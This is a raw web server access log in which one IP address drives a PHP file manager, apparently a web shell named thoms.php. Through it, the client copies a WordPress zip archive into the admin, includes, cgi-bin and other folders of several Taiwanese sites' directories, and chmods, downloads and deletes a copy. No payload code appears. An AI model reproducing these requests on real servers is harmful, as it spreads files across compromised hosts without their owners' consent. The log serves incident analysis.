45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12601 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13447 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14182 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14118 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13117 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28715 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46423 "http://163.245.207.76:443/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12001 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 18805 "http://163.245.207.76:443/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 19052 "http://163.245.207.76:443/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 13610 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 13293 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17389 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 13445 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 14150 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 28813 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17390 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:01 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 59202 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 12593 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17368 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13274 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28771 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13610 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12579 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:02 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13766 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59237 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59258 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:03 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
